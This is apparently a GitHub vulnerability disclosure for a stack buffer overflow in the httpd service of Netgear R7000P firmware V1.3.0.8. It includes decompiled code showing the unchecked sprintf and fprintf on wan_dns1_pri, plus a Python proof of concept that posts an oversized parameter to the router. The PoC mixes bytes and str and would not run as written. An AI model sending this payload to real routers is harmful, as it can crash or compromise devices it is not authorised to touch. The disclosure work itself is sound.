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Code

Issues 1

Pull requests

Actions

Projects

Security

Insights

🔑 main ▾

IoT_vuln/Netgear/R7000P/3/



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images

Oct 25, 2022



readme.md

Oct 25, 2022



adme.md

Netgear R7000P has a Stack Buffer Overflow Vulnerability

Product

1. product information: <https://www.netgear.com>
2. firmware download: http://www.downloads.netgear.com/files/GDC/R7000P/R7000P-V1.3.0.8_1.0.93.zip

Affected version

V1.3.0.8

Vulnerability

The stack overflow vulnerability is in /usr/sbin/httpd. The vulnerability occurs in the sub_24500 function, which can be accessed via the URL http://routerlogin.net/BAS_pppoe_flet.htm.

```

23 sub_1A54C(a1, "DNSAssign", s1, 2048);
24 acosNvramConfig_set("wan_dns_sel", s1);
25 if ( dword_1E4814 )
26     acosNvramConfig_set("pppoe_wan_dns_sel", s1);
27 if ( !strcmp(s1, "1") )
28 {
29     sub_1A54C(a1, "wan_dns1_pri", s, 2048);
30     sub_1A54C(a1, "wan_dns1_sec", dest, 2048);
31     v2 = strcmp(dest, "...");
32     if ( !v2 )
33     {
34         v4 = -1586;
35         v3 = &v21;
36     }
37     v18 = 4;
38     if ( !v2 )
39         LOBYTE(v3[v4]) = 0;
40     v19 = s;
41     v20 = strlen(s);
42     v17[0] = 15;
43     if ( sub_D1B9C(v18, v19, v20, v17) )
44         return -1;
45     if ( dest[0] )
46     {
47         v18 = 4;
48         v19 = dest;
49         v20 = strlen(dest);
50         v17[0] = 15;
51         if ( sub_D1B9C(v18, v19, v20, v17) )
52             return -1;
53     }
54     sprintf((char *)v13, "%s %s", s, dest);
55     acosNvramConfig_set("wan_dns1", v13);
56     if ( dword_1E4814 )
57         acosNvramConfig_set(&unk_107ED5, v13);
58     v5 = v13;
59 }

```

vuln1

Parameter `wan_dns1_pri`, is controllable and will be copied to `v13` by `sprintf`. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability.

```

93 v11 = strchr((const char *)v17, 32);
94 if ( v11 )
95 {
96     strncpy(dest, (const char *)v17, v11 - (char *)v17);
97     fprintf(v7, "nameserver %s\n", dest);
98     strcpy(s, v11 + 1);
99     if ( s[0] )
100         fprintf(v7, "nameserver %s\n", s);
101 }
102 fclose(v7);
103 snprintf((char *)&v18, 0x64u, "-%d", 1);
104 v13[1] = &v18;
105 v7 = 0;
106 v13[3] = 0;
107 v13[0] = "killall";
108 v13[2] = "dnsmasq";
109 eval(v13, ">/dev/console", 0, 0);
110 }

```

vuln2

Parameter `wan_dns1_pri` also can be copied to `v7` by `fprintf`. It is worth noting that the size is not checked, resulting in a stack overflow vulnerability.

PoC

```
import socket
import os

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

ip = '192.168.0.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.connect((ip, port))
rn = b'\r\n'
p1 = b'a' * 0x3000
p2 = b'wan_dns1_pri='+ p1 + '&wan_dns1_sec=1' # payload -- wan_dns1_pri
p3 = b"POST /BAS_pppoe_flet.html" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=1111" + rn
p3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) + rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rn
p3 += rn
p3 += p2

r.send(p3)

response = r.recv(4096)
response = response.decode()
li(response)
```

